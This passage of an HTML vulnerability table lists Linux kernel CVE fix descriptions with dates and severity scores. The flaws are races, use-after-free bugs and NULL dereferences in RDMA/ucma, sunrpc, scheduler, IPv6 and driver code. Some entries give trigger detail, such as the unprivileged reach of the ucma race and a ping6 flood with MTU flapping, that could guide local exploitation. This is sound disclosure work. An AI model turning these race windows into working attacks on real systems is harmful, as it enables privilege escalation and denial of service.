&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/ucma: Lock the handler in ucma_write_cm_event() ctx-&amp;gt;file may only be changed under the handler lock and the xa_lock, which is what stops uevents being queued for a ctx while ucma_migrate_id() moves it to another file. The CM core takes that lock before invoking ucma_event_handler(), but the write() paths that queue uevents themselves do not. ucma_write_cm_event() re-reads ctx-&amp;gt;file for each of its four dereferences, so ucma_migrate_id() can swap it mid-sequence: mutex_lock(&amp;amp;ctx-&amp;gt;file-&amp;gt;mut); /* file A */ list_add_tail(&amp;amp;uevent-&amp;gt;list, &amp;amp;ctx-&amp;gt;file-&amp;gt;event_list); /* file B */ mutex_unlock(&amp;amp;ctx-&amp;gt;file-&amp;gt;mut); /* file B */ wake_up_interruptible(&amp;amp;ctx-&amp;gt;file-&amp;gt;poll_wait); /* file B */ The window is the mutex_lock() itself: the writer sleeps in it while the migration reassigns ctx-&amp;gt;file. The list_add_tail() then runs on file B&#039;s event_list holding only file A&#039;s mutex: list_add corruption. prev-&amp;gt;next should be next (ffff888101320f30), but was ffff88814a08c418. (prev=ffff88814a075c18). kernel BUG at lib/list_debug.c:32! Call Trace: ucma_write_cm_event+0x36e/0x5e0 and file A&#039;s mut is left held forever, wedging its next writer in D state. The uevent is also stranded on a list ucma_cleanup_ctx_events() will not walk, so it outlives its context. /dev/infiniband/rdma_cm is 0666 and no RDMA device is involved, so an unprivileged user reaches all of this. Take the handler lock, as ucma_cleanup_mc_events() does; ctx-&amp;gt;cm_id is pinned by the ucma_get_ctx() reference.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89507&quot; target=&quot;_blank&quot;&gt;CVE-2026-89507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/ucma: Lock the handler in ucma_set_ib_path() ucma_set_ib_path() calls ucma_event_handler() straight from the write() path, without the handler lock that keeps ctx-&amp;gt;file stable while a uevent is queued. The handler re-reads ctx-&amp;gt;file for every dereference: mutex_lock(&amp;amp;ctx-&amp;gt;file-&amp;gt;mut); /* file A */ list_add_tail(&amp;amp;uevent-&amp;gt;list, &amp;amp;ctx-&amp;gt;file-&amp;gt;event_list); /* file B */ mutex_unlock(&amp;amp;ctx-&amp;gt;file-&amp;gt;mut); /* file B */ wake_up_interruptible(&amp;amp;ctx-&amp;gt;file-&amp;gt;poll_wait); /* file B */ A concurrent ucma_migrate_id() reassigns ctx-&amp;gt;file while the SET_OPTION caller sleeps in mutex_lock(), so the list_add_tail() lands on file B&#039;s event_list while only file A&#039;s mutex is held, racing every other user of that list: BUG: KASAN: slab-use-after-free in __list_add_valid_or_report+0x1aa/0x1c0 Read of size 8 at addr ffff888153c6a418 by task poc_corr/486 Call Trace: __list_add_valid_or_report+0x1aa/0x1c0 ucma_event_handler+0x1be/0xc00 ucma_set_ib_path+0x45e/0x710 ucma_set_option+0x32e/0x590 ucma_write+0x1f9/0x330 Allocated by task 505: ucma_write_cm_event+0x1a1/0x660 Freed by task 505: kfree+0x1da/0x4c0 ucma_get_event+0x5d5/0x7e0 The freed object is a ucma_event that another thread dequeued from file B&#039;s list under file B&#039;s mutex. File A&#039;s mut is left held on top of that, wedging its next writer in uninterruptible sleep. This path needs a bound and address-resolved cm_id, so it requires an RDMA device to be present. Take the handler lock around the call.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89508&quot; target=&quot;_blank&quot;&gt;CVE-2026-89508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Cancel reg_work before freeing device on remove c4iw_uld_state_change() queues reg_work to register the RDMA device. c4iw_remove() can free ctx-&amp;gt;dev while this work is pending or running, leaving c4iw_register_device() accessing the freed device. Cancel reg_work before removing the device. The registration work can tear down ctx-&amp;gt;dev when registration fails, so do not unregister or deallocate it again in that case. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89510&quot; target=&quot;_blank&quot;&gt;CVE-2026-89510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: qede: Fix NULL pointer dereference in TPA fragment processing Under memory pressure, the qede driver encounters NULL pointer dereferences when processing TPA continuation fragments. Commit 8a8633978b84 (&quot;qede: Add build_skb() support.&quot;) accidentally dropped the assignment of tpa_info-&amp;gt;buffer.data in qede_tpa_start(). When memory pressure causes an SKB allocation failure in qede_tpa_start(), the driver sets tpa_start_fail = true and attempts to recycle the physical page later in qede_tpa_end() via qede_reuse_page(). However, because buffer.data was left uninitialized (NULL), qede_reuse_page() pushes a &quot;ghost&quot; BD (valid DMA mapping but NULL data pointer) back into the active Rx ring. The next time the hardware uses this ring slot, it passes a NULL page to qede_fill_frag_skb(), causing a kernel panic. Example crash from production system: BUG: unable to handle kernel NULL pointer dereference at 0x8 RIP: qede_fill_frag_skb+0x96/0x430 [qede] Call Trace: qede_rx_int+0xb06/0x1de0 qede_poll+0x2f4/0x6c0 __napi_poll+0x2d/0x130 Fix the root cause by restoring the tpa_info-&amp;gt;buffer.data assignment in qede_tpa_start(), ensuring valid pages are correctly tracked and recycled. Additionally, update the stale comment for struct qede_agg_info::buffer to reflect its current usage.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89511&quot; target=&quot;_blank&quot;&gt;CVE-2026-89511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched/core: Make core-sched flips wait for in-flight selections Core scheduling&#039;s pick_next_task() operates on all sibling rqs under one acquisition of the shared core-wide lock. A -&amp;gt;pick_task() that releases the rq lock leaves every sibling __lock momentarily free, letting __sched_core_flip(false) complete mid-selection and rebind rq_lockp() under it. The selection resumes on the split locks, touching sibling state it no longer protects, and __schedule() finally releases a lock that was never taken while leaking the one that was. Count in-flight core-wide selections in the leader&#039;s rq-&amp;gt;core_pick_in_flight and make __sched_core_flip() wait for the count to drain. The count only changes under the shared lock, which the flip holds while sampling, so no other ordering is needed. The wait can repeat while selections overlap, but the flip backs off between samples and flips are rare cookie-lifetime events. sched_core_cpu_deactivate() moves the count to the new leader - a stale copy left behind would bias it forever if that CPU later returns as its own leader.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89520&quot; target=&quot;_blank&quot;&gt;CVE-2026-89520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sched/core: Handle pick_task() releasing the rq lock Core scheduling&#039;s pick_next_task() breaks when a -&amp;gt;pick_task() implementation can release the rq lock. The selection state derived on entry is only valid while the lock is held continuously. Once a pick can drop the lock, an interleaving selection can invalidate all of it: the single-CPU fast path can commit an uncookied pick although the core went cookied during the release, and forceidle committed by the interleaving selection skews the restarted pass&#039;s accounting. Fix it by restarting the whole selection when a pick returns RETRY_TASK after releasing the lock: a single restart point above the state derivation replaces the per-loop restart labels, so a retry picks up state committed by interleaving selections and accounts and resets forceidle like a fresh selection would. need_sync and fi_before latch across retries. Clock validity can&#039;t be re-derived - there is no program-ordered way to tell whether the own and core rq clocks are still updated after the lock was released, as other lockers&#039; pin cycles may or may not have invalidated them. When restarting, clear core_clock_updated so that the sibling loop re-updates the core rq, and update the own rq clock if invalidated.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89521&quot; target=&quot;_blank&quot;&gt;CVE-2026-89521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: staging/ipu7: fix async notifier UAF on probe error path isys_register_devices() registers the V4L2 async notifier via isys_notifier_init(). If a subsequent probe step such as isys_fw_log_init() fails, isys_probe() jumps to the out_cleanup label which only calls isys_unregister_devices(). That helper tears down the video devices, subdevices, V4L2 device and media device, but never unregisters or cleans up the async notifier. As a result the notifier stays chained in the global notifier_list while the enclosing struct ipu7_isys is freed by devres, leading to list corruption and a use-after-free the next time the list is walked. The remove path already does the right thing by calling isys_notifier_cleanup() before isys_unregister_devices(). Mirror that on the probe error path so the notifier is unregistered and cleaned up before the device is torn down.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89522&quot; target=&quot;_blank&quot;&gt;CVE-2026-89522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel pending mlo_pm_work If the device is reset, suspended or unregistered within that window, the pending work can still run and access vif/bss data that may already be freed, or send MCU commands while the firmware is not available. Add cancel_delayed_work_sync(&amp;amp;dev-&amp;gt;mlo_pm_work) in all relevant teardown and suspend paths: - mt7925_mac_reset_work() (chip reset recovery) - mt7925e_unregister_device() (PCIe unbind) - mt7925_pci_suspend() (PCIe bus suspend) - mt7925_suspend() (mac80211 suspend) - mt7925u_suspend() (USB bus / runtime suspend) This ensures the work is stopped before the device state becomes invalid.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89523&quot; target=&quot;_blank&quot;&gt;CVE-2026-89523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject Read lists that exceed the page budget Individual Read segment lengths are validated at decode time, but nothing prevents a requester from sending multiple segments whose cumulative length exceeds the rq_pages array budget. When one segment fills the page array exactly, the runtime guard in svc_rdma_build_read_segment() is bypassed because len reaches zero. A subsequent segment then accesses the NULL sentinel slot at rq_pages[rq_maxpages], resulting in a NULL pointer dereference during DMA mapping. Accumulate pages across all Read segments and reject the message at decode time when the total would overflow the page budget.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89528&quot; target=&quot;_blank&quot;&gt;CVE-2026-89528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunrpc: init gssp_lock before publishing proc entry create_use_gss_proxy_proc_entry() publishes /proc/net/rpc/use-gss-proxy via proc_create_data() before init_gssp_clnt() runs mutex_init() on sn-&amp;gt;gssp_lock. Once the dentry is linked under proc_subdir_lock it is immediately reachable from userspace, so a write that lands in the window drives set_gssp_clnt() into mutex_lock() on a zero-initialized struct mutex. create_use_gss_proxy_proc_entry(net) proc_create_data(&quot;use-gss-proxy&quot;, ...) /* dentry live */ init_gssp_clnt(sn) mutex_init(&amp;amp;sn-&amp;gt;gssp_lock) /* too late */ write_gssp() set_gssp_clnt(net) mutex_lock(&amp;amp;sn-&amp;gt;gssp_lock) /* uninitialized */ gssp_rpc_create(...) sn-&amp;gt;gssp_clnt = clnt mutex_unlock(&amp;amp;sn-&amp;gt;gssp_lock) The window spans only the two statements between proc_create_data() returning and init_gssp_clnt(), so a writer reaches it only if the registering thread is preempted there while another task is already opening the freshly published file. register_pernet_subsys() runs in preemptible context under pernet_ops_rwsem, so that preemption is possible, and the window widens on auth_rpcgss module load, when the proc entry is created for every live net namespace whose tasks are already running. A writer that wins the race locks a zero-filled struct mutex. On CONFIG_DEBUG_MUTEXES the missing magic value trips a &quot;lock used without init&quot; splat; on a production kernel the fast path acquires the lock via CMPXCHG(owner, 0, current). In the latter case a second writer that arrives before init_gssp_clnt() re-zeroes owner can enter set_gssp_clnt() concurrently, shut down the first writer&#039;s clnt while it is still in use, and leak the loser&#039;s clnt. Fix by initializing sn-&amp;gt;gssp_lock in sunrpc_init_net() so its lifetime matches the sunrpc_net it lives in. sn-&amp;gt;gssp_clnt is already NULL from the kzalloc that backs net_generic storage, so the lazy helper is no longer needed; drop init_gssp_clnt(), its prototype, and the call from create_use_gss_proxy_proc_entry(). sunrpc.ko is a build-time dependency of auth_rpcgss.ko, so sunrpc_init_net() has always run on every netns before any auth_gss pernet init can publish the proc entry.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89540&quot; target=&quot;_blank&quot;&gt;CVE-2026-89540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: fix gssx_dec_option_array error path bugs Four coupled defects in the gssx XDR option-array decoder make the error paths unsafe: a NULL deref in the caller, a refcount leak on the decoded group_info, and a latent use-after-free that the leak fix would otherwise expose. gssx_dec_option_array() sets oa-&amp;gt;count = 1 before allocating oa-&amp;gt;data. If that allocation fails, -ENOMEM is returned with oa-&amp;gt;count == 1 and oa-&amp;gt;data == NULL. All other error paths jump to free_oa: which frees oa-&amp;gt;data and NULLs it but also leaves oa-&amp;gt;count == 1. The caller trusts the count: gssp_accept_sec_context_upcall() gssx_dec_accept_sec_context() gssx_dec_option_array() /* fails, count=1 data=NULL */ data = res.options.data[0].value /* NULL deref */ Independently, free_creds: releases the partially decoded svc_cred with a bare kfree(creds). gssx_dec_linux_creds() installs a groups_alloc() result into creds-&amp;gt;cr_group_info; that object is kvmalloc-backed and refcounted, and only put_group_info() reaches kvfree(). A plain kfree(creds) drops the wrapper and leaks the group_info allocation. The natural fix for the leak is to call free_svc_cred(creds) before kfree(creds), but free_svc_cred() invokes put_group_info() on creds-&amp;gt;cr_group_info unconditionally when non-NULL. The existing out_free_groups: path in gssx_dec_linux_creds() already called groups_free() on that pointer without clearing it, so once free_svc_cred() is wired in, the subsequent put_group_info() would touch freed memory. Fix all four together: - Move the oa-&amp;gt;count = 1 assignment below the oa-&amp;gt;data allocation so it is never set when oa-&amp;gt;data is NULL. - Reset oa-&amp;gt;count to 0 at free_oa: so count and data stay coherent and the caller sees an empty option array. - Call free_svc_cred(creds) before kfree(creds) at free_creds: so the refcounted cr_group_info is released. free_svc_cred() either NULL-guards each field explicitly (cr_group_info has an if() check) or delegates to a helper that is NULL-safe itself (kfree for the string fields, gss_mech_put() which guards with if(gm) at gss_mech_switch.c:342), so it is safe to call on a partially decoded svc_cred where only cr_uid/cr_gid/cr_group_info have been written and everything else is zero from kzalloc. - In gssx_dec_linux_creds()&#039;s out_free_groups: path, release cr_group_info with put_group_info() rather than groups_free() so the teardown matches free_svc_cred()&#039;s refcount-aware path, and clear the pointer so a later free_svc_cred() on the same creds does not release it a second time.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89544&quot; target=&quot;_blank&quot;&gt;CVE-2026-89544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunrpc: defer rq_argp and rq_resp free until after RCU grace period svc_rqst_free() frees rqstp-&amp;gt;rq_argp and rqstp-&amp;gt;rq_resp synchronously via kfree(), but defers the rqstp struct free via kfree_rcu(). After svc_exit_thread() calls list_del_rcu() and svc_rqst_free(), there is a window where RCU readers that started before list_del_rcu() can still traverse the thread list and find the rqstp. These readers (e.g. nfsd_nl_rpc_status_get_dumpit()) dereference rqstp-&amp;gt;rq_argp, which has already been freed - a use-after-free. Fix this by moving the kfree of rq_argp and rq_resp into an explicit call_rcu() callback alongside the struct free. Resources not accessed by RCU readers (bvec, buffer pages, scratch folio, auth_data) remain synchronously freed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89545&quot; target=&quot;_blank&quot;&gt;CVE-2026-89545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: SUNRPC: always drain cache_cleaner before destroying a cache_detail sunrpc_destroy_cache_detail() only cancels the global cache_cleaner delayed_work when cache_list is empty. During per-netns teardown cache_list is never empty because init_net&#039;s caches remain registered, so the cancel never fires. After unlink, the caller proceeds to cache_destroy_net() which kfrees the cache_detail while cache_clean() may still hold a dangling pointer to it. The result is a use-after-free: cache_dequeue() takes cd-&amp;gt;queue_lock on freed memory, and cache_put() dereferences cd-&amp;gt;cache_put as a function pointer from freed slab. Drop the list_empty guard so that cancel_delayed_work_sync() always runs, ensuring any in-flight cache_clean() completes before the cache_detail is freed. Re-arm the cleaner afterwards if other caches are still registered.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89548&quot; target=&quot;_blank&quot;&gt;CVE-2026-89548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunrpc: route to a populated pool in svc_pool_for_cpu() svc_set_num_threads() spreads the requested threads evenly across the service&#039;s pools (base = nrservs / sv_nrpools). When a service runs fewer threads than it has pools -- e.g. an nfsd configured with fewer threads than the host has NUMA nodes while running in &quot;pernode&quot; or &quot;percpu&quot; mode -- the trailing pools are left with no threads at all. svc_xprt_enqueue() selects a pool from the CPU servicing the transport, queues the transport on that pool&#039;s sp_xprts, and only wakes a thread from the same pool. Each thread services exclusively its own pool, so a transport that lands on a threadless pool is enqueued on sp_xprts and never picked up: the connection hangs indefinitely. Have svc_pool_for_cpu() skip pools that currently have no threads, falling back to the next populated pool. This trades NUMA locality for a guarantee that the work is actually serviced. sp_nrthreads is only updated under the service mutex; the lockless read here is a best-effort routing hint, so annotate it with data_race().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89549&quot; target=&quot;_blank&quot;&gt;CVE-2026-89549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nouveau/gem: reserve the bo in the info ioctl around the vma lookup In the non-uvmm path, there could be a race between the info lookup finding the vma, and the gem close path closing the vma leading to a use-after-free. Spotted with the help of Opus 4.6.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89553&quot; target=&quot;_blank&quot;&gt;CVE-2026-89553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: md: do overflow check for sb-&amp;gt;bblog_shift in super_1_load() In super_1_load(), sb-&amp;gt;bblog_shift is an __u8 type value loaded from on- disk superblock. It is used for badblocks API badblocks_set() by the following sequence, 1930 rdev-&amp;gt;badblocks.shift = sb-&amp;gt;bblog_shift; 1931 for (i = 0 ; i &amp;lt; (sectors &amp;lt;&amp;lt; (9-3)) ; i++, bbp++) { 1932 u64 bb = le64_to_cpu(*bbp); 1933 int count = bb &amp;amp; (0x3ff); 1934 u64 sector = bb &amp;gt;&amp;gt; 10; 1935 sector &amp;lt;&amp;lt;= sb-&amp;gt;bblog_shift; 1936 count &amp;lt;&amp;lt;= sb-&amp;gt;bblog_shift; 1937 if (bb + 1 == 0) 1938 break; 1939 if (!badblocks_set(&amp;amp;rdev-&amp;gt;badblocks, sector, count, 1)) 1940 return -EINVAL; 1941 } bb-&amp;gt;bblog_shit is in range of 0-255, variable sector is 64bit width, for an invalid bb-&amp;gt;bblog_shit, it is possible to make sector be overflowed by the following calculation, 1935 sector &amp;lt;&amp;lt;= sb-&amp;gt;bblog_shift; Then in turn when call badblocks_set() at line 1939 with the invalid rdev-&amp;gt;badblocks.shift set at line 1930, may result an overflow inside _badblocks_clear() in block/badblocks.c. Although there are many places to call badblocks APIs, the non-zero shift value is only used in super_1_load(), other places always use 0 as the shift value. Therefore it is unnecessary to do a general shift value overflow check inside badblock API, and just check here as the caller. This may avoid unnecessary check, make the badblocks API code more simple and elegant.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89557&quot; target=&quot;_blank&quot;&gt;CVE-2026-89557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: libnvdimm/labels: Prevent integer overflow in __nd_label_validate() The on-media namespace index field nslot is a u32 read from the DIMM label storage area. __nd_label_validate() bounds it against the config area size, but sizeof_namespace_label() returns unsigned, so the product nslot * label_size is evaluated in 32-bit and wraps modulo 2^32 before the comparison. A crafted nslot passes the bound and is then used as the loop trip count in nd_label_data_init(), whose memset() walks off the end of the config_size buffer: an out-of-bounds write. The field is not trusted -- it comes from the medium, or from userspace via ND_CMD_SET_CONFIG_DATA. Evaluate the product in 64-bit so the bound check is exact; conforming labels are unaffected. The check was safe when introduced by commit 4a826c83db4e (&quot;libnvdimm: namespace indices: read and validate&quot;): it multiplied by sizeof(struct nd_namespace_label), a size_t, so on a 64-bit build the product did not wrap. Commit 564e871aa66f (&quot;libnvdimm, label: add v1.2 nvdimm label definitions&quot;) narrowed it to 32 bits when the label size became a runtime value read via sizeof_namespace_label().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89559&quot; target=&quot;_blank&quot;&gt;CVE-2026-89559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipv6: rpl: fix NULL dereference of idev in ipv6_rpl_srh_rcv() ipv6_rpl_srh_rcv() dereferences idev from __in6_dev_get() without a NULL check when reading idev-&amp;gt;cnf.rpl_seg_enabled. When the device&#039;s MTU drops below IPV6_MIN_MTU, addrconf_ifdown() clears dev-&amp;gt;ip6_ptr through RCU_INIT_POINTER(). A packet that passed the idev check in ip6_rcv_core() can then reach ipv6_rpl_srh_rcv() with dev-&amp;gt;ip6_ptr already NULL. Reproduced by flooding the receiving interface with ping6 traffic while flapping its MTU between 1500 and 1200: BUG: KASAN: null-ptr-deref in ipv6_rpl_srh_rcv+0xb3/0x1070 Read of size 4 at addr 00000000000006b4 by task ping6/394 CPU: 2 UID: 0 PID: 394 Comm: ping6 Not tainted 7.2.0-rc7-micro-vm-dev-00095-g24ef02f934ee #240 PREEMPT(full) Call Trace: &amp;lt;IRQ&amp;gt; kasan_report+0xc6/0x100 ipv6_rpl_srh_rcv+0xb3/0x1070 ip6_protocol_deliver_rcu+0x759/0x9a0 ip6_input_finish+0xa8/0x1b0 ip6_input+0xe1/0x490 ipv6_rcv+0x33d/0x460 __netif_receive_skb_one_core+0xd6/0x130 process_backlog+0x2cc/0xa00 __napi_poll.constprop.0+0x56/0x270 net_rx_action+0x327/0x730 handle_softirqs+0x11e/0x630 do_softirq+0xb3/0xf0 &amp;lt;/IRQ&amp;gt; Both ipv6_rpl_srh_rcv() and ipv6_srh_rcv() are called only from ipv6_rthdr_rcv(), which already has an idev lookup. Fix the NULL dereference on the RPL path by checking idev in ipv6_rthdr_rcv(), before it calls either function. The callees take idev as an argument and no longer call __in6_dev_get(), so the packet is now dropped in one place, with SKB_DROP_REASON_IPV6DISABLED on both paths.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89561&quot; target=&quot;_blank&quot;&gt;CVE-2026-89561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ip6_gre: fix hardware header length for NBMA tunnels ip6gre_tnl_link_config_route() accumulates the lower device&#039;s hardware header length into dev-&amp;gt;hard_header_len whenever header_ops is set. This is incorrect for both users of header_ops. ip6gretap and ip6erspan have a fixed Ethernet hardware header length. For an NBMA ip6gre tunnel, ip6gre_header() creates only the GRE header, the optional FOU or GUE header, and the outer IPv6 header. The lower device header is headroom needed later, not part of the tunnel device&#039;s hardware header. Keep the lower device header in needed_headroom. Set hard_header_len to the tunnel header length only for ARPHRD_IP6GRE devices with header_ops, and leave the fixed Ethernet header length unchanged for tap and erspan devices.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89562&quot; target=&quot;_blank&quot;&gt;CVE-2026-89562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ip6_tunnel: use skb_cow_head() in ip6_tnl_xmit() ip6_tnl_xmit() may need to expand headroom before it can push the outer IPv6 and optional encap headers. It currently does that with skb_realloc_headroom(), copies skb-&amp;gt;sk ownership, consumes the original skb, and then continues processing with the replacement skb kept only in its local variable. That is safe only if the helper cannot fail afterwards. But this helper still has post-reallocation error exits. collect_md tunnels reject non-NONE encap after the replacement, and ip6_tnl_encap() can also fail later. In those cases the helper returns an error to its callers while the caller still only has the original skb pointer. Both ip6_tnl_start_xmit() and the IPv6 GRE paths free the caller skb on error, so they can end up freeing an skb that ip6_tnl_xmit() already consumed. Use skb_cow_head() instead. It provides the required headroom and writability without privately replacing the caller-owned skb, so later error returns cannot leave callers with a stale pointer. The Ethernet users, ip6gretap and ip6erspan, clear IFF_TX_SKB_SHARING and already call skb_cow_head() before entering ip6_tnl_xmit(). They do not rely on the removed skb_shared() reallocation. This also makes the IPv6 tunnel path consistent with ip_tunnel_xmit().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89563&quot; target=&quot;_blank&quot;&gt;CVE-2026-89563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
